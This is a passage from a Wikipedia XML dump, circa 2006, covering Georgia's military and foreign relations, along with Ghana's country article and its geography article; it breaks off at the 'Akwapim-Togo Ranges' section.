On [[March 23]], [[1994]], [[Georgia (country)|Georgia]] was one of the first former [[Soviet Republic]]s to join the [[Partnership for Peace]]. Among the Partners Georgia was the first country who could submit the special documentation (May [[2004]]) and on [[29 October]] [[2004]] the [[North Atlantic Council]] approved the first [[IPAP]] for Georgia. In case if the IPAP is successful, Georgia will have good opportunity to accede to the Membership Action Plan (MAP). The U. S.-sponsored [[Georgia Train and Equip Program]] ([[GTEP]]) was launched in April [[2002]]. Although the Program formally ended in [[2004]],   Georgia continues to enjoy crucial military assistance from [[NATO]], especially from the [[United States]] and [[Turkey]]. The Georgian government has announced a reform of the Georgian armed forces in order to comply with NATO standards. The government has planned to reduce the size of the armed forces and increase the number of professional soldiers to two thirds of the total manpower.
Georgia has its peacekeeping force in Kosovo, and participates in the [[War on Terrorism]] in [[Iraq]] and [[Afghanistan]].

==Russian military in Georgia==
[[Russia]]n military presence is a major challenge in the country. In violation of promises made at the [[1999]] [[Istanbul]] [[Organization for Security and Co-operation in Europe|OSCE]] conference, [[Russia]] continues to maintain the Soviet-era military bases in [[Batumi]] and [[Akhalkalaki]]. This has been and continues to be a source of great tension with Georgia, which has threatened to block access to the facility. The Russian withdrawal talks still continue.
A [[CIS]] peacekeeping force of Russian troops is deployed in the [[Abkhazia]] region of Georgia together with a [[UN]] military observer group; a Russian peacekeeping battalion is deployed in [[South Ossetia]]. 

The breakaway republics of [[Abkhazia]] and [[South Ossetia]] have their own armed forces, though the precise number remains unknown.

==References==
* [http://www.cia.gov/cia/publications/factbook/geos/gg.html CIA World Factbook, 2005]
* [http://www.state.gov/r/pa/ei/bgn/5253.htm U.S. Department of State Background Notes, 2005]
* [http://www.globalsecurity.org/military/world/georgia/mod.htm GlobalSecurity.org on Georgia’s military]

==External links==
* [http://www.mod.gov.ge/ Georgia Ministry of Defence website] 
* [http://nsc.gov.ge/ National Security Council of Georgia]
* [http://intranet.parliament.ge/parl_2004/committees_en/site_11/nato_geo.htm NATO and Georgia]
* [http://www.wri-irg.org/co/rtba/georgia.htm Conscription in Georgia]
* [http://www.civil.ge/eng/category.php?id=20 Georgia military news]
* [http://www.crwflags.com/fotw/flags/ge^mil.html Georgia: Military flags, 2004]

==See also==
* [[Georgia Train and Equip Program]] ([[GTEP]])
 
{{Asia in topic|Military of}}
 
[[Category:Military of Georgia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Georgia</title>
    <id>12066</id>
    <revision>
      <id>37436365</id>
      <timestamp>2006-01-31T00:23:30Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>Remove duplicate link</comment>
      <text xml:space="preserve">{{Politics of Georgia}}
[[Georgia (country)|Georgia]]'s location, nestled between the [[Black Sea]], [[Russia]], and [[Turkey]], gives it strategic importance far beyond its size. It is developing as the gateway from the Black Sea to the [[Caucasus]] and the larger Caspian region, but also serves as a buffer between Russia and Turkey. Georgia has a long and close relationship with Russia, but it is reaching out to its other neighbors and looking to the West in search of alternatives and opportunities. It signed a partnership and cooperation agreement with the [[European Union]], participates in the [[Partnership for Peace]], and encourages foreign investment. [[France]], [[Germany]], and the [[United Kingdom]] all have embassies in [[Tbilisi]], and Germany is a significant donor.

Georgia is a member of the [[United Nations]], the [[Organization for Security and Co-operation in Europe|OSCE]], the [[Commonwealth of Independent States|CIS]] and the [[Council of Europe]]. 

Because of its strategic location it is in both the [[Russia|Russian]] and [[United States|American]] spheres of influence. In common with many ex Soviet republics it is both influenced by and fearful of its larger neighbour. The invitation of US troops into the country caused tension with [[Moscow]]. The [[Russian government]] also believes that Georgia is being used by [[Chechnya|Chechen]] terrorists. The American government has interests in an oil pipeline passing through the country. Former president [[Eduard Shevardnadze]] attempted to balance these competing demands. The new leadership is much closer to the United States.

'''Disputes - international:'''
none

'''Illicit drugs:'''
illicit cultivator of [[cannabis]] mostly for domestic consumption; increasingly used as a transshipment point for illicit [[illegal drug trade|drugs]] - mostly [[opium]] and [[hashish]] - to [[Western Europe]] and the [[U.S]] via [[Iran]], [[Central Asia]], and [[Russia]]

{{Asia in topic|Foreign relations of}}

[[Category:Foreign relations by country|Georgia]]
[[Category:Government of Georgia (country)]]
[[Category:Politics of Georgia (country)]]
[[lt:Gruzijos tarptautiniai santykiai]]
[[ru:Внешняя политика Грузии]]</text>
    </revision>
  </page>
  <page>
    <title>Ghana</title>
    <id>12067</id>
    <revision>
      <id>42031415</id>
      <timestamp>2006-03-03T09:18:11Z</timestamp>
      <contributor>
        <ip>68.98.174.73</ip>
      </contributor>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Republic of Ghana'''&lt;/big&gt;&lt;/big&gt; 
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Ghana.svg|125px|]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Ghana coa.gif|125px]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Ghana|In Detail]])
| align=&quot;center&quot; width=&quot;140px&quot; | (Full size)
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[National motto]]: Freedom and Justice''&lt;/small&gt;
|-
| align=center colspan=2 | [[image:LocationGhana.png]]
|-
| '''[[Official language]]'''
| [[English language|English]] (official), [[Ga language|Ga]], [[Twi language|Twi]], [[Ewe language|Ewe]], [[Dagbani language|Dagbani]], [[Fante language|Fante]], and others.
|-
| '''[[Capital]] and largest city'''
| [[Accra]]
|-
| '''Capital's [[coordinate]]s'''
| {{coor dm|5|33|N|0|15|W|}}
|-
| '''[[President of Ghana|President]]'''
| [[John Agyekum Kufuor]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 79th]] &lt;br&gt; 238,540 [[square kilometre|km&amp;sup2;]] &lt;br&gt; 3.5%
|-
| '''[[Population]]'''
&lt;br&gt;&amp;nbsp;- Total (2005)
&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| [[List of countries by population|Ranked 50th]]
&lt;br&gt;  21,029,853 
&lt;br&gt; 87/km&amp;sup2;
|-
| '''[[Gross Domestic Product|GDP]]''' (PPP)
&lt;br&gt;&amp;nbsp;- Total ([[Year]])
&lt;br&gt;&amp;nbsp;- GDP/head
| [[List of countries by GDP|Ranked 73rd]]
&lt;br&gt;$54,330,000
&lt;br&gt; $2,601
|-
|'''[[Human Development Index|HDI]]''' ([[2003]]) || 0.520 ([[List of countries by Human Development Index|138th]]) – &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|-
| '''[[Currency]]'''
| [[Cedi]]
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]], no ([[Daylight Saving Time|DST]])
|-
| '''[[Independence]]'''
| [[6 March]] [[1957]], from the [[United Kingdom]]
|-
| '''[[National anthem]]'''
| &quot;[[God Bless Our Homeland, Ghana]]&quot;
|-
| '''[[National Motto]]'''
| &quot;[[Freedom &amp; Justice]]&quot;
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.gh]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| 233
|}{{wiktionarypar|Ghana}}
{{otheruses}}
The '''Republic of Ghana''' is a nation in [[Africa]]. It borders the [[Côte d'Ivoire|Ivory Coast]] to the west, [[Burkina Faso]] in the north and [[Togo]] to the east. It was inhabited in pre-colonial times by a number of ancient kingdoms, including an inland Ashanti kingdom and various Fante states along the coast. Trade with European states flourished after contact with the Portuguese in the 15th century, and the British established a crown colony, Gold Coast, in 1874. Ghana became independent in 1957. [[Accra]] is the capital and largest city. The country's population in 2005 was 21,029,853. It was the first African country to obtain its independence from the British Empire.

==Name==
Upon achieving independence from the [[United Kingdom]], the name &quot;Ghana&quot; was chosen for the new nation&amp;mdash;a reference to the [[Ghana Empire]] of earlier centuries. This name is mostly symbolic, as the ancient Empire of Ghana was located to the north and west of current-day Ghana.  The name was adopted as a reference to the descendants of the ancient Empire of Ghana who migrated south and east and currently reside in Ghana.


==History==
:''Main article: [[History of Ghana]]''
Formed from the merger of the British colony [[Gold Coast (British colony)|Gold Coast]] and the [[British Togoland]] trust territory by a U.N. sponsored plebiscite, Ghana in [[1957]] became the first sub-saharan country in colonial Africa to gain its independence.  In 1956 Sudan gained its independence, but it was actually considered Saharan even though it is part of sub-saharan Africa.  Therefore, Sudan was actually the first to achieve independence from colonial powers, but Ghana is considered the first sub-saharan African country to gain independence. A long series of coups ended with the ascension to power of Lieutenant [[Jerry Rawlings]] in 1981. His changes resulted in the suspension of the constitution in [[1981]] and the banning of political parties. A new constitution, restoring multiparty politics, was approved in [[1992]], and [[Rawlings]] was elected in free elections of that year and also in 1996. The constitution prohibited him from running for a third term. [[John Agyekum Kufuor|John Kufuor]], the current president, is now in his second term.

==Politics==
''Main article: [[Politics of Ghana]]''

Ghana is a republic within the [[Commonwealth of Nations]].  Its head of state is an elected president (currently John Kufuor) with executive powers.  The [[Parliament of Ghana]] is [[wiktionary:unicameral|unicameral]]  and dominated by two main parties, the [[New Patriotic Party]] and [[National Democratic Congress (Ghana)|National Democratic Congress]]. [[Kofi Annan]], the current Secretary-General of the [[United Nations]], is from Ghana.

* [[List of Presidents of Ghana]]
* [[List of political parties in Ghana]]

==Economy==
''Main article: [[Economy of Ghana]]''

Well endowed with natural resources, Ghana has twice the per capita output of the poorer countries in [[West Africa]]. Even so, Ghana remains heavily dependent on international financial and technical assistance. [[Gold]], [[timber]], and [[cocoa]] production are major sources of foreign exchange. 

The domestic economy continues to revolve around subsistence agriculture, which accounts for 40% of [[Gross Domestic Product|GDP]] and employs 60% of the work force, mainly small landholders. In 1995-97, Ghana made mixed progress under a three-year structural adjustment program in cooperation with the [[IMF]]. On the minus side, public sector wage increases and regional peacekeeping commitments have led to continued inflationary deficit financing, depreciation of the [[cedi]], and rising public discontent with Ghana's austerity measures.

==Regions==
''Main article: [[Regions of Ghana]]''

Ghana is divided into 10 [[region]]s:

{| border=&quot;0&quot; cellspacing=&quot;5&quot;
|-
|
* [[Ashanti (region)|Ashanti]]
|
* [[Brong-Ahafo Region|Brong Ahafo]]
|
* [[Central Region, Ghana|Central]]
|
* [[Eastern Region, Ghana|Eastern]]
|
* [[Greater Accra Region|Greater Accra]]
|-
|
* [[Northern Region, Ghana|Northern]]
|
* [[Upper East Region|Upper East]]
|
* [[Upper West Region|Upper West]]
|
* [[Volta Region|Volta]]
|
* [[Western Region, Ghana|Western]]
|}

== Geography ==
[[Image:Ghana Map.jpg|right|thumb|250px|Map of Ghana]]
''Main article: [[Geography of Ghana]]''

Ghana is located on the [[Gulf of Guinea]], only a few degrees north of the [[Equator]]. It is roughly the size of the state of [[Oregon]]. The coastline is mostly a low, sandy shore backed by plains and scrub and intersected by several rivers and streams.  A tropical rain forest belt, broken by heavily forested hills and many streams and rivers, extends northward from the shore.  North of this belt, the land is covered by low bush, park-like savanna, and grassy plains.

The climate is [[tropical climate|tropical]]. The eastern coastal belt is warm and comparatively dry (see [[Dahomey Gap]]); the southwest corner, hot and humid; and the north, hot and dry. [[Lake Volta]], the largest reservoir in the world, extends through large portions of eastern Ghana.

The capital is [[Accra]].... 

=== Main cities ===
Other cities include (see also [[:Category:Cities in Ghana|Cities in Ghana]]):

*[[Asamankese]] 
*[[Sunyani]] 
*[[Bolgatanga]]
*[[Cape Coast]] - home of [[Cape Coast Castle]] and [[University of Cape Coast]]
*[[Elmina]] - home of [[Elmina Castle]]
*[[Ho (Ghana)|Ho]]
*[[Kumasi]] - ([[Rail transport|rail]] [[Junction (rail)|junction]])
*[[Nsawam]] - (rail junction)
*[[Takoradi]] - port - [[railhead]]
*[[Tamale, Ghana|Tamale]]
*[[Tarkwa]] - (rail junction)
*[[Tema]] - port - railhead
*[[Wa]]
*[[Odumase-Krobo]]
*[[Somanya]]
*[[Kpong]] -(Hydroelectric Dam)
*[[Akosombo]]-(Hydroelectric Dam)
*[[Akim-Manso]]

==Culture==
[[Image:kenteweaving.jpg|right|thumb|320px|A man weaves kente cloth using a traditional loom in Bonwire village, Ashanti region, Ghana.]]

Perhaps the most visible (and most marketable) cultural contribution from modern Ghana is ''[[Kente]]'' cloth, which is widely recognized and valued for its colors and symbolism. Kente cloth is made by skilled Ghanaian weavers, and the major weaving centers in and around [[Kumasi]] (Bonwire is known as the home of Kente, though areas of [[Volta]] Region also lay claim to the title) are full of weavers throwing their shuttles back and forth as they make long strips of Kente. These strips can then be sewn together to form the larger wraps which are worn by some Ghanaians (chiefs especially) and are purchased by tourists in [[Accra]] and Kumasi. The colors and patterns of the Kente are carefully chosen by the weaver and the wearer.  Each symbol woven into the cloth has a special meaning within Ghanaian culture.  

Kente is one of the symbols of the Ghanaian [[chieftaincy]], which remains strong throughout the country, particularly in the areas populated by members of the culturally- and politically-dominant [[Ashanti]] tribe. The Ashanti's chief, known as the Asantehene, is perhaps the most revered individual in the central part of the country. Like other Ghanaian chiefs, he wears bright Kente, gold bracelets, rings and [[amulets]], and is always accompanied by numerous ornate umbrellas (which are also a symbol of the chieftaincy itself). The most sacred symbol of the Ashanti people is the Golden Stool, a small golden [[throne]] in which the spirit of the people is said to reside. It is kept in safekeeping in Kumasi, the cultural capital of the Ashanti people and the seat of the Asantehene's palace. Though the chieftaincy across Ghana has been weakened by allegations of corruption and cooperation with colonial oppression, it remains a very vital institution in Ghana.

After Independence, the Ghanaian music scene flourished, particularly the up-tempo, danceable style known as ''[[high life]]'', which is still played consistently at the local clubs and bars, often called ''spots''. Many Ghanaians are adept drummers, and it is not unusual to hear traditional drum ensembles play at social events or performances.

==Education==
Ghana has 12,630 primary schools, 5,450 junior secondary schools, 503 senior secondary schools, 21 training colleges, 18 technical institutions, two diploma-awarding institutions and five universities serving a population of 17 million; this means that most Ghanaians have relatively easy access to good education. In contrast, at the time of independence in 1957, Ghana had only one university and a handful of secondary and primary schools. In the past decade, Ghana's spending on education has been between 28 percent and 40 percent of its annual budget. 

Primary and middle school education is free and will be mandatory when enough teachers and facilities are available to accommodate all students. Students begin their 6-year primary education at age six. Under educational reforms implemented in 1987, they pass into a new junior secondary school system for 3 years of academic training combined with technical and vocational training, where they pass a Basic Education Certificate Examination (BECE).

Those wishing to continue with their education move into the 3-year senior secondary school program. Entrance to universities is by examination following completion of senior secondary school. School enrollment totals almost 2 million: 1.3 million primary; 107,600 middle; 48,900 secondary; 21,280 technical; 11,300 teacher training; and 5,600 university. 

There is currently an on-going educational reform in Ghana, and teaching is mainly in English, Ghana's official language.

==Miscellaneous topics==
* [[Communications in Ghana]]
* [[Demographics of Ghana]]
* [[Foreign relations of Ghana]]
* [[Islam in Ghana]]
* [[List of Ghanian companies]]
* [[List of African writers (by country)#Ghana|List of writers from Ghana]]
* [[Military of Ghana]]
* [[Music of Ghana]]
* [[Public Holidays in Ghana]]
* [[Transportation in Ghana]]

==External links==
{{sisterlinks|Ghana}}

'''Government'''
*[http://www.ghana.gov.gh/ The Republic of Ghana] official government site
*[http://www.parliament.gh/ The Parliament of Ghana] official site

'''News'''
*[http://www.accra-mail.com/ Accra Daily Mail] daily newspaper
*[http://allafrica.com/ghana/ AllAfrica.com - ''Ghana''] news headline links
*[http://ghanareview.com/review/ Ghana Review International] UK-based daily
*[http://www.graphicghana.com/ The Daily Graphic] daily newspaper
*[http://www.ghanamusic.com/ Ghana Music.com] Music News [content updated daily]
*[http://www.ghanaian-chronicle.com/ The Ghanaian Chronicle] daily newspaper
*[http://www.independent-gh.com/ The Online Independent] daily newspaper
*[http://www.highana.com/ Ghana News] Ghana News
*[http://www.mobileafrica.net/ghana.php Mobile Africa] Mobile telecom in Ghana news
*[http://www.musicinghana.com/ Ghana Music News] Ghana Music News

'''Overviews'''
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1023355.stm BBC News Country Profile - ''Ghana'']
*[http://www.cia.gov/cia/publications/factbook/geos/gh.html CIA World Factbook - ''Ghana'']
*[http://www.joinafrica.com/countries1/ghana/people.htm Joinafrica.com - ''Ghana'']
* [http://www.state.gov/p/af/ci/gh/ US State Department - ''Ghana''] includes Background Notes, Country Study and major reports

'''Directories'''
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Ghana.html Columbia University Libraries - African Studies: ''Ghana''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Africa/Ghana/ Open Directory Project - ''Ghana''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/ghana.html Stanford University - Africa South of the Sahara: ''Ghana''] directory category
*[http://dir.yahoo.com/Regional/Countries/Ghana/ Yahoo! - ''Ghana''] directory category

'''Tourism'''
*{{wikitravel}}
*[http://www.ghanatourism.gov.gh/ Ghana: A golden experience at the center of the world] official government tourism site
*[http://www.ghanainternationalairlines.com/ Ghana International Airlines] The New National Carrier of Ghana
*[http://www.gattagh.com/ Ghana Association of Travel &amp; Tourist Agents] Ghana Association of Travel &amp; Tourist Agents
*[http://www.viewghana.com/ View Ghana] Travel information and portal for Ghana

'''Other'''
*[http://www.ghanaweb.com/ GhanaWeb] portal
*[http://www.movingplanets.com/world/countries/ghana/ Ghana on Movingplanets]
*[http://www.ghanakeyboards.com/ GhanaKeyboards] Free Windows-based Downloadable Keyboards for Ghanaian Languages
*[http://www.ghanafind.com/ Ghana Find] classifieds

{{Africa}}


[[Category:African Union member states]]
[[Category:Ghana| ]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Peace and Security Council]]

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[[zh:加纳]]</text>
    </revision>
  </page>
  <page>
    <title>Ghana/History</title>
    <id>12068</id>
    <revision>
      <id>15909776</id>
      <timestamp>2002-06-14T06:40:21Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Ghana]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Ghana</title>
    <id>12069</id>
    <revision>
      <id>40601915</id>
      <timestamp>2006-02-21T19:26:46Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>United Kingdom</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Republic of Ghana'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Ghana Map.jpg|280px|Map of Ghana]]
|-
| '''[[Continent]]''' || [[Africa]]
|- 
| '''[[Geographic coordinates]]''' || {{coor dm|8|00|N|2|00|W|type:country}}
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 77th]] &lt;br&gt; 238,540 [[square kilometre|km&amp;sup2;]] &lt;br&gt; 3.5% (8,520 km&amp;sup2')
|-
| '''Coastline''' || 700 km
|-
| '''Highest point''' || [[Mount Afadjato]], 880 m
|-
| '''Lowest point''' || [[Atlantic Ocean]], 0 m
|-
| '''Longest river''' || [[Volta|Volta River]]
|-
| '''Largest inland body of water''' || [[Lake Volta]]
|-
| '''Land Use'''&lt;br&gt;&amp;nbsp;- Arable land&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;crops&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pastures&lt;br&gt;&amp;nbsp;- Forests and&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;woodlands&lt;br&gt;&amp;nbsp;- Other ||&lt;br&gt;12 %&lt;br&gt;&lt;br&gt;7 %&lt;br&gt;&lt;br&gt;22 %&lt;br&gt;&lt;br&gt;35 %&lt;br&gt;24 % (1993 est.)
|- 
| '''[[Climate]]''': || [[Tropics|Tropical]]
|- 
| '''add more''' || need ideas
|-
| '''Natural resources''' || [[gold]], [[timber]], industrial [[diamond]]s, [[bauxite]], [[manganese]], [[fish]], [[rubber]], [[hydropower]]
|-
| '''Environmental issues''' || [[drought]], [[deforestation]], [[overgrazing]], [[soil erosion]], [[poaching]], [[habitat destruction]], [[water pollution]], [[drinking water]]
|}


'''[[Ghana]]''' is a country in [[West Africa]], along the [[Gulf of Guinea]], just a few degrees north of the [[equator]]. 

==Location and size==
Ghana, which lies in the center of the West African coast, shares 2,093 km of land borders with the three French-speaking nations of [[Burkina Faso]] (548 km) to the north, [[Côte d'Ivoire]] (668 km) to the west, and [[Togo]] (877 km) to the east. To the south are the Gulf of Guinea and the Atlantic Ocean.

With a total area of 238,533 square kilometers, Ghana is about the size of the [[United Kingdom]], or slightly smaller than [[Oregon]]. Its southernmost coast at [[Cape Three Points]] is 4° 30' north of the equator. From here, the country extends inland for some 670 kilometers to about 11° north. The distance across the widest part, between longitude 1° 12' east and longitude 3° 15' west, measures about 560 kilometers. The [[Greenwich Meridian]], which passes through London, also traverses the eastern part of Ghana at [[Tema]]. 


'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 [[nautical mile]]s (44 km)
&lt;br&gt;''continental shelf:''
200 nautical miles (370 km)
&lt;br&gt;''exclusive economic zone:''
200 nautical miles (370 km)
&lt;br&gt;''territorial sea:''
12 nautical miles (22 km)

== Climate == 
The country's warm, humid climate has an annual mean temperature between 26 and 29 °C. Variations in the principal elements of [[temperature]], [[rainfall]], and [[humidity]] that govern the climate are influenced by the movement and interaction of the dry tropical continental air mass, the [[harmattan]], which blows from the northeast across the [[Sahara]], and the opposing tropical maritime or moist equatorial system. The cycle of the seasons follows the apparent movement of the sun back and forth across the equator.

During summer in the northern hemisphere, a warm and moist maritime air mass intensifies and pushes northward across the country. A low-pressure belt, or intertropical front, in the air mass brings warm air, rain, and prevailing winds from the southwest. As the sun returns south across the equator, the dry, dusty, tropical continental front, or harmattan, prevails.

Climatic conditions across the country are hardly uniform. The [[Kwahu Plateau]], which marks the northernmost extent of the forest area, also serves as an important climatic divide. To its north, two distinct seasons occur. The harmattan season with its dry, hot days and relatively cool nights from November to late March or April, is followed by a wet period that reaches its peak in late August or September. To the south and southwest of the Kwahu Plateau, where the annual mean rainfall from north to south ranges from 1,250 millimeters 2,150 millimeters, four separate seasons occur. Heavy rains fall from about April through late June. After a relatively short dry period in August, another rainy season begins in September and lasts through November, before the longer harmattan season sets in to complete the cycle.

The extent of drought and rainfall varies across the country. To the south of the Kwahu Plateau, the heaviest rains occur in the [[Axim]] area in the southwest corner of Ghana. Farther to the north, [[Kumasi]] receives an average annual rainfall of about 1,400 millimeters, while [[Tamale]] in the drier northern savanna receives rainfall of 1,000 millimeters per year. From [[Takoradi]] eastward to the [[Accra Plains]], including the lower [[Volta]] region, rainfall averages only 750 millimeters to 1,000 millimeters a year.

Temperatures are usually high at all times of the year throughout the country. At higher elevations temperatures are more comfortable. In the far north, temperature highs of 31°C are common. The southern part of the country is characterized by generally humid conditions. This is particularly so during the night, when 95 to 100 % humidity is possible. Humid conditions also prevail the northern section of the country during the rainy season. During the harmattan season, however, humidity drops as low as 25 percent in the north. 

== Terrain ==
The terrain consists mostly low plains with the [[Kwahu Plateau]] in the south-central area. Half of the country lies less than 152 meters (500 ft) above sea level, and the highest point is 883 meters (2,900 ft). The 537 kilometer (334 mi) coastline is mostly a low, sandy shore backed by plains and scrub and intersected by several rivers and streams, most of which are navigable only by [[canoe]]. A [[tropical rain forest]] belt, broken by heavily forested hills and many streams and rivers, extends northward from the shore, near the [[Côte d'Ivoire]] frontier. This area, known as the &quot;Ashanti,&quot; produces most of the country's [[cocoa]], [[minerals]], and [[timber]]. North of this belt, the country varies from 91 to 396 meters (300 to 1,300 ft) above sea level and is covered by low bush, park-like [[savanna]], and grassy plains.

'''Irrigated land:'''
60 km² (1993 est.)

==Geographical regions==
Ghana is characterized in general by low physical [[relief]]. Indeed, the [[Precambrian]] rock system that underlies most of the nation has been worn down by erosion almost to a plain. The highest elevation in Ghana, [[Mount Afadjato]] in the [[Akwapim-Togo]] Ranges, rises only 880 meters above sea level.

There are, nonetheless, five distinct geographical regions. Low plains stretch across the southern part of the country. To their north lie three regions--the Ashanti Uplands, the Akwapim-Togo Ranges, and the Volta Basin. The fifth region, the high plains, occupies the northern and northwestern sector of the country (see fig. 4). Like most West African countries, Ghana has no natural harbors. Because strong surf pounds the shoreline, two artificial harbors were built at [[Takoradi]] and [[Tema]] (the latter completed in 1961) to accommodate Ghana's shipping needs.

===Low Plains===
The low plains comprise the four subregions of the coastal savanna, the [[Volta Delta]], the [[Accra Plains]], and the [[Akan Lowlands]]. A narrow strip of grassy and scrubby coast runs from a point near [[Takoradi]] in the west to the [[Togo]] border in the east. This coastal savanna, only about eight kilometers in width at its western end, stretches eastward through the Accra Plains, where it widens to more than eighty kilometers, and terminates at the southeastern corner of the country at the lower end of the [[Akwapim-Togo Ranges]].

Almost flat and featureless, the Accra Plains descend gradually to the gulf from a height of about 150 meters. The topography east of the city of Accra is marked by a succession of ridges and spoonshaped valleys. The hills and slopes in this area are the favored lands for cultivation. Shifting cultivation is the usual agricultural practice because of the swampy nature of the very lowlying areas during the rainy seasons and the periodic blocking of the rivers at the coast by sandbars that form lagoons. A plan to irrigate the Accra Plains was announced in 1984. Should this plan come to reality, much of the area could be opened to large-scale cultivation.

To the west of Accra, the low plains contain wider valleys and rounded low hills, with occasional rocky headlands. In general, however, the land is flat and covered with grass and scrub. Dense groves of coconut palms front the coastline. Several commercial centers, including Winneba, Saltpond, and Cape Coast, are located here. Although Winneba has a small livestock industry and palm tree cultivation is expanding in the area away from the coast, the predominant occupation of the coastal inhabitants is fishing by dug-out canoe.

The Volta Delta, which forms a distinct subregion of the low plains, extends into the [[Gulf of Guinea]] in the extreme southeast. The delta's rock formation--consisting of thick layers of [[sandstone]], some [[limestone]], and [[silt]] deposits--is flat, featureless, and relatively young. As the delta grew outward over the centuries, sandbars developed across the mouths of the Volta and smaller rivers that empty into the gulf in the same area, forming numerous lagoons, some quite large, making road construction difficult. To avoid the lowest-lying areas, for example, the road between Accra and Keta makes an unusual detour inland just before reaching Ada and finally approaches Keta from the east along the narrow spit on which the town stands. This notwithstanding, road links with Keta continue to be a problem. By 1989 it was estimated that more than 3,000 houses in the town had been swallowed by flooding from the lagoon. In addition, about 1,500 other houses were destroyed by erosion caused by the powerful waves of the sea.

Ironically, it is this flat, silt-composed delta region with its abundance of water that supports [[shallot]], [[maize|corn]], and [[cassava]] cultivation in the region. Moreover, the sandy soil of the delta gave rise to the [[copra]] industry. [[Salt]]-making, from the plentiful supply in the dried beds of the lagoons, provides additional employment. The main occupation of the delta people, however, continues to be fishing, an industry that supplies dried and salted fish to other parts of the country.

The largest part of the low plains is the Akan Lowlands. Some experts prefer to classify this region as a subdivision of the [[Ashanti Uplands]] because of the many characteristics they share. Unlike the uplands, however, the height of the Akan Lowlands is generally between sea level and 150 meters. Some ranges and hills rise to about 300 meters, but few exceed 600 meters. The lowlands that lie to the south of the Ashanti Uplands receive the many rivers that make their way to the sea.

The Akan Lowlands contain the basins of the [[Densu River]], the [[Pra River]], the [[Ankobra River]], and the [[Tano River]], all of which play important roles in the economy of Ghana. The Densu River Basin, location of the important urban centers of [[Koforidua]] and [[Nsawam]] in the eastern lowlands, has an undulating topography. Many of the hills here have craggy summits, which give a striking appearance to the landscape. The upper section of the Pra River Basin, to the west of the Densu, is relatively flat; the topography of its lower reaches, however, resembles that of the Densu Basin and is a rich cocoa and food-producing region. The valley of the Birim River, one of the main tributaries of the Pra, is the country's most important diamond-producing area.

The Ankobra River Basin and the middle and lower basins of the Tano River to the west of the lowlands form the largest subdivision of the Akan Lowlands. Here annual rainfall between 1,500 and 2,150 millimeters helps assure a dense forest cover. In addition to timber, the area is rich in minerals. The Tarkwa goldfield, the diamond operations of the [[Bonsa Valley]], and high-grade manganese deposits are all found in this area. The middle and lower Tano basins have been intensely explored for oil and natural gas since the mid-1980s. The lower basins of the Pra, Birim, Densu, and Ankobra rivers are also sites for palm tree cultivation.

===Ashanti Uplands===
Comprising the Southern Ashanti Uplands and the Kwahu Plateau, the Ashanti Uplands lie just north of the Akan Lowlands and stretch from the Côte d'Ivoire border in the west to the elevated edge of the Volta Basin in the east. Stretching in a northwest-to-southeast direction, the Kwahu Plateau extends 193 kilometers between Koforidua in the east and Wenchi in the northwest. The average elevation of the plateau is about 450 meters, rising to a maximum of 762 meters. The relatively cool temperatures of the plateau were attractive to Europeans, particularly missionaries, who founded many well-known schools and colleges in this region.

The plateau forms one of the important physical divides in Ghana. From its northeastern slopes, the Afram and Pru Rivers flow into the Volta River, while from the opposite side, the Pra, Birim, Ofin, Tano, and other rivers flow south toward the sea. The plateau also marks the northernmost limit of the forest zone. Although large areas of the forest cover have been destroyed through farming, enough deciduous forest remains to shade the head waters of the rivers that flow from the plateau.

The Southern Ashanti Uplands, extending from the foot of the Kwahu Plateau in the north to the lowlands in the south, slope gently from an elevation of about 300 meters in the north to about 150 meters in the south. The region, however, contains several hills and ranges as well as several towns of historical and economic importance, including Kumasi, Ghana's second largest city and former capital of the Asante (also seen as Ashanti--see Glossary) empire (see The Precolonial Period , ch. 1). Obuasi and Konongo, two of the country's gold-mining centers, are also located here. The region is the country's chief producer of cocoa, and its tropical forests continue to be a vital source of timber for the lumber industry.

===Akwapim-Togo Ranges===

